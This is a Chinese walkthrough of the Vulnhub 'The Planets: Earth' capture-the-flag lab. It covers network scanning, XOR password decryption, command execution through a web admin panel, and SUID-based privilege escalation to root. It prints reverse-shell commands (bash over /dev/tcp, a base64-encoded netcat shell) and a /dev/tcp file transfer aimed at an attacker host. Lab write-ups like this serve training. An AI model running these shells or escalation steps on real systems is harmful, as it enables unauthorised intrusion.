当前位置: 首页 > news >正文

The Planets: Earth -- 练习

环境搭建

该靶场环境来自Vulnhub -------- Difficulty: Easy

靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式),所以需要调整KALI和靶场的网络模式,为了方便测试本地采用NAT模式。

注意,如果用的是比较新版本的VMware,可能存在无法调整虚拟机网卡的情况。

则需要调整虚拟机的兼容性,以便于能正常运行。

信息收集

前期进行一些简单的信息收集工作,收集一些IP信息、端口信息和域名信息等

网络扫描

扫描网卡

因为是在同一个网段,可以直接扫描网卡从而获取靶机IP地址,命令为arp-scan -I eth0 -l。很显然这里的192.168.47.152就是靶机的地址信息,如果不敢确定,可以将靶机开关几次。看哪个IP会消失。

使用Nmap扫描网段信息

可以通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.47.0/24,获得靶机地址:192.168.47.152

使用netdiscover扫描网段信息

netdiscover -i eth0 -r 192.168.47.0/24

使用masscan 扫描的网段端口号

可以扫描一些常见端口号信息masscan 192.168.47.0/24 -p 80,22

初步渗透

通过使用Nmap进行端口扫描,使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口。

从中我们可以发现开放的端口有:22、80、443端口,并且443端口需要进行dns解析。如果不配置DNS解析直接访问,会出现400错误。

 Hosts文件位置:Windows:C:\Windows\System32\drivers\etcLinux:/etc/hosts​内容:192.168.47.152 earth.local 192.168.47.152 terratest.earth.local

直接访问earth.localterratest.earth.local两个域名进行查看。发现两个页面内容相同如下:

有一段不知名的数字,此时看不出任何作用。随便输入一些内容进行测试如下。像是某种加密使用数字进行测试,经过判断初步猜测是异或加密。但是不知道密钥无法解密。

暂时不知道这些字符串如何解密,先放一边,扫描一下目录:dirsearch -u http://earth.local/

 37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40​3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45​2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

获取了一些文件信息,尝试访问http://earth.local/admin/,看似是一个管理员命令工具登录页面,可以尝试弱口令登录,发现不成功。此时可以尝试分析其他文件。

在扫描过程中还发现了一个robots.txt文件,查看内容发现列出了很多内容,发现有个testingnotes文件,但是不知道是什么文件格式上边列了很多,挨个测试一下。最终发现是个txt文件。

并且testingnotes文件内容如下。可以得知采用的是XOR加密算法,并且有一个testdata.txt文件用于测试加密,用户名是terra

所以先访问testdata.txthttps://terratest.earth.local/testdata.txt查看其中的内容。

XOR解密

初步猜测这段文字可能是加密密钥,从testdata.txt可以看出,密钥是通过XOR加密发送。猜测第一个页面留下的很有可能是加密后的terra的密码。对每一条信息进行解密,只有最后一条内容看起来像是密码。只不过按照earthclimatechangebad4humans进行重复。

获取第一个Flag

回到登录页面,尝试登录。发现登录成功,尝试执行简单的命令,发现能成功执行。查看题目要求发现要找两个flag:a user and root flag。所以现在去尝试查找flag,通过find命令查找,find / -name "*flag*"

尝试读取这个文件内容cat /var/earth_web/user_flag.txt,成功获取第一个flag。

提权

由于第二个是ROOT的flag,并且通过find命令并没有找到。所以当前用户没有权限所以需要提权。尝试反弹shell获取靶机的控制权。但是发现禁止远程连接。bash -i &> /deb/tcp/192.168.47.131/8866 0>&1。可能是使用了IP地址,尝试通过base64编码绕过echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDcuMTMxIDY2NjYK | base64 -d | bash

反弹成功之后,通过Python创建一个伪终端。

 python3 -c "import pty; pty.spawn('/bin/bash')"

查找具有root权限的文件find / -perm -u=s -type f 2>/dev/null这个命令是从根目录查找有suid权限的文件(只查文件),然后我们查看/usr/bin/reset_root,发现Earth可能是密码。

查看文件内容,但是很乱很多乱码看不清楚。所以直接检查字符串内容如下:strings /usr/bin/reset_root,已经告知当重置触发器存在,重置根密码为:Earth

所以此时的目标就是查看哪些触发器可以触发修改密码的操作。直接将文件程序整到kali本地分析一下。

 本地kali上进行监听:nc -nlvp 777 > reset_root靶机上运行:cat /usr/bin/reset_root > /dev/tcp/192.168.47.131/7777

到Kali上调试使用strace进行调试:strace ./reset_root,显示缺少三个文件。所以去靶机上看一下这几个文件,发现靶机上也没有这几个文件。

所以尝试创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth。

获取第二个Flag

之后通过su命令尝试登录,发现登录成功,成功获取第二个Flag。

相关文章:

The Planets: Earth -- 练习

环境搭建 该靶场环境来自Vulnhub -------- Difficulty: Easy 靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式),所以需要调整KALI和靶场的网络模式,为了方便测试本地采用NAT模式。 注意&…...

linux逻辑卷练习

目录 知识点: 常用命令 题目: 解题: 1)分区 2)创建物理卷 3)创建卷组 4)生成逻辑卷 "要带参数 -n" 5)扩容 6)格式化(添加文件系统) 7)挂…...

openai 论文Scaling Laws for Neural Language Models学习

2001.08361 (arxiv.org) 论文研究语言模型在交叉熵损失下的性能经验缩放定律:模型损失(性能)随模型大小、数据集大小和用于训练的计算量呈现缩放为幂律的关系,有些趋势跨越超过 7 个数量级。其他模型架构细节 (如网络…...

__VUE_PROD_HYDRATION_MISMATCH_DETAILS__ is not explicitly defined

VUE_PROD_HYDRATION_MISMATCH_DETAILS 未明确定义。您正在运行 Vue 的 esm-bundler 构建,它期望这些编译时功能标志通过捆绑器配置全局注入,以便在生产捆绑包中获得更好的tree-shaking优化。 Vue.js应用程序正在使用ESM(ECMAScript模块&#…...

基于PHP技术的校园站的设计与实现

毕业论文(基于PHP技术的校园站的设计与实现) 基于PHP技术的校园网站的设计与实现校园网作为教育、教学、科研、管理等工作的平台和基础设施,它的建立有助于加强师生之间的交流,改变传统的教学模式和教育管理方式,对促…...

JVM回收机制与算法

jvm基本结构 JVM(Java虚拟机)是Java程序可以跨平台运行的关键。它负责将Java字节码转换为特定平台的机器码,使Java程序能够在不同的硬件和操作系统上运行而无需重新编译。JVM的基本结构主要包括以下几个核心部分: ‌类加载器&…...

24/11/14 算法笔记 GMM高斯混合模型

高斯混合模型(Gaussian Mixture Model,简称 GMM)是一种概率模型,用于表示具有多个子群体的数据集,其中每个子群体的数据分布可以用高斯分布(正态分布)来描述。GMM 是一种软聚类方法,…...

Linux下编译安装Nginx

以下是在Linux下编译安装Nginx的详细步骤: 一、安装依赖库 安装基本编译工具和库 在Debian/Ubuntu系统中,使用以下命令安装:sudo apt -y update sudo apt -y install build - essential libpcre3 - dev zlib1g - dev libssl - dev在CentOS/…...

算力100问☞第4问:算力的构成元素有哪些?

算力的构成元素是一个多维度且相互交织的体系,它融合了硬件基础设施、软件优化策略、数据处理效能以及分布式计算技术等多个层面,共同塑造了强大的计算能力。具体如下: 1、硬件基础设施 中央处理器(CPU):…...

安装paddle

网址:飞桨PaddlePaddle-源于产业实践的开源深度学习平台 或者找对应python和cuda版本的paddle下载后安装: https://www.paddlepaddle.org.cn/whl/linux/mkl/avx/stable.html 你想要安装paddlepaddle - gpu2.6.1.post112版本。在你提供的文件列表中&am…...

飞凌嵌入式RK3576核心板已适配Android 14系统

在今年3月举办的RKDC2024大会上,飞凌嵌入式FET3576-C核心板作为瑞芯微RK3576处理器的行业首秀方案重磅亮相,并于今年6月率先量产发货,为客户持续稳定地供应,得到了众多合作伙伴的认可。 FET3576-C核心板此前已提供了Linux 6.1.57…...

SpringBoot+MyBatis+MySQL的Point实现范围查找

前言 最近做了一个功能,需要通过用户当前位置点获取指定范围内的数据。由于后端存储用的是 MySQL,故选择使用 MySQL 中的 Point 实现范围查找功能。ORM 框架用的是 MyBatis,MyBatis 原生并不支持 Point 字段与 POJO 的映射,需要自…...

【Apache Paimon】-- 1 -- Apache Paimon 是什么?

目录 1、简介 2、概览 3、哪些场景可以使用 Paimon 4、周边生态 5、小结 6、参考 1、简介 我们听说过数据仓库、数据湖、数据湖仓,那你听说过流式数据仓库(Stream warehouse,简称:Streamhouse)吗?那我们今天就来解锁看看他们之中的新秀: Apache paimon 到底是什么…...

解决VsCode无法跳转问题

在settings.json中加入以下代码 { "files.associations": { "*.c":"c", "*.h":"c", "*.s":"masm" }, "includePath":[ "${workspaceFold…...

优化C++设计模式:用模板代替虚函数与多态机制

文章目录 0. 引言1. 模板编程替换虚函数和多态的必要性1.1. MISRA C对类型转换和虚函数的规定1.2. 虚函数与多态问题的影响及如何适应MISRA C要求1.3. 模板编程的优势:替代虚函数和多态机制 2. 设计模式改进2.1. 单例模式的改进与静态局部变量的对比(第二种实现) 2.…...

浪浪云轻量服务器搭建vulfocus网络安全靶场

什么是网络安全靶场 网络安全靶场是一个模拟真实网络环境的训练平台,旨在为网络安全专业人员提供一个安全的环境来测试和提高他们的技能。靶场通常包括各种网络设备、操作系统、应用程序和安全工具,允许用户在其中进行攻击和防御练习。以下是网络安全靶…...

C++builder中的人工智能(23):在现代C++ Windows上轻松录制声音

在这篇文章中,我们将探讨如何在现代C Windows上轻松录制声音。声音以波形和数字形式存在,其音量随时间变化。在C Builder中,使用Windows设备进行录音非常简单。要录制声音,在多设备应用程序中,必须使用FMX.Media.hpp头…...

避免误差!Android 中正确计算时间差的方式

在 Android 开发中,计时和计算时间差异是非常常见的需求,比如记录事件发生的间隔、统计应用启动时间、测量网络请求的响应时间等。在实现这些功能时,我们通常需要一个可靠的时间源来确保计时的准确性。那么为什么 Android 推荐使用 SystemClo…...

unity3d————Resources异步加载

知识点一:Resources异步加载是什么? 在Unity中,资源加载可以分为同步加载和异步加载两种方式。同步加载会在主线程中直接进行,如果加载的资源过大,可能会导致程序卡顿,因为从硬盘读取数据到内存并进行处理…...

YOLOv11改进,YOLOv11添加GnConv递归门控卷积,二次创新C3k2结构

摘要 视觉 Transformer 在多种任务中取得了显著的成功,这得益于基于点积自注意力的新空间建模机制。视觉 Transformer 中的关键因素——即输入自适应、长距离和高阶空间交互——也可以通过卷积框架高效实现。作者提出了递归门控卷积(Recursive Gated Convolution,简称 gnCo…...

利用Cosmos-Reason1-7B进行技术文档(LaTeX/Markdown)自动摘要与校对

利用Cosmos-Reason1-7B进行技术文档(LaTeX/Markdown)自动摘要与校对 你有没有过这样的经历?面对一份几十页的技术论文或者一份复杂的实验报告,光是通读一遍就要花掉大半天时间。更别提还要从中提炼核心观点,或者逐字逐…...

MidScene:让AI成为你的自动化协作者 副标题:无需编程的多平台智能操作解决方案

MidScene:让AI成为你的自动化协作者 副标题:无需编程的多平台智能操作解决方案 【免费下载链接】midscene Let AI be your browser operator. 项目地址: https://gitcode.com/GitHub_Trending/mid/midscene 在数字化时代,重复性操作和…...

告别官方包!手把手教你从Gitee源码编译kkFileView v4.4.0(附Maven打包避坑点)

从源码到部署:深度解析kkFileView v4.4.0全流程编译实战 在企业级文档处理场景中,kkFileView作为一款开箱即用的文件预览解决方案,其源码编译能力往往被大多数开发者忽视。本文将打破常规安装包依赖,带你深入源码编译的全链路过程…...

什么是 Harness Engineering?把 Prompt、Workflow、Eval 串成系统的那层骨架

点击上方 前端Q,关注公众号回复加群,加入前端Q技术交流群上一篇我们先把问题抛出来了: 为什么现在大家都在聊 Agent、Workflow、AI Coding,可真正决定系统上限的,往往不是模型本身,而是模型外那层工程骨架。…...

BGE-Large-Zh效果对比:BGE-Large-Zh vs m3e-base在中文长尾词匹配上的实测差异

BGE-Large-Zh效果对比:BGE-Large-Zh vs m3e-base在中文长尾词匹配上的实测差异 1. 引言:为什么关注中文长尾词匹配 在日常的中文信息检索和语义匹配场景中,我们经常会遇到一些特殊的长尾词汇。这些词汇可能是不常见的专业术语、新兴的网络用…...

Qwen-Image-2512-SDNQ使用心得:如何写出更有效的中文Prompt获得理想图片

Qwen-Image-2512-SDNQ使用心得:如何写出更有效的中文Prompt获得理想图片 1. 为什么中文Prompt需要特别优化? 在AI绘画领域,Prompt(提示词)的质量直接影响生成结果。对于中文用户而言,使用母语描述想象中的…...

告别手动队列!ROS2多传感器同步新方案:message_filters与rclcpp的完美配合

告别手动队列!ROS2多传感器同步新方案:message_filters与rclcpp的完美配合 在机器人开发领域,多传感器数据同步一直是个令人头疼的问题。想象一下,当你的无人机同时搭载了双目相机、激光雷达和IMU时,如何确保这些传感…...

如何快速掌握PathOfBuilding:流放之路终极角色构建规划神器

如何快速掌握PathOfBuilding:流放之路终极角色构建规划神器 【免费下载链接】PathOfBuilding Offline build planner for Path of Exile. 项目地址: https://gitcode.com/GitHub_Trending/pa/PathOfBuilding 还在为《流放之路》复杂的天赋树和装备搭配而头疼…...

LM2596 DC-DC开关电源芯片的实战应用与优化设计

1. LM2596芯片基础与工作原理 LM2596这颗DC-DC降压芯片可以说是电子工程师的老朋友了,从工业设备到消费电子产品都能见到它的身影。我第一次用它是在大学做智能车项目时,需要把12V电池电压降到5V给单片机供电。当时对比了几款芯片后选择了LM2596&#xf…...

PCB文件查看工具探索:OpenBoardView如何突破电路分析效率瓶颈

PCB文件查看工具探索:OpenBoardView如何突破电路分析效率瓶颈 【免费下载链接】OpenBoardView View .brd files 项目地址: https://gitcode.com/gh_mirrors/op/OpenBoardView 电子工程师们常面临这样的困境:面对复杂的.brd格式文件,要…...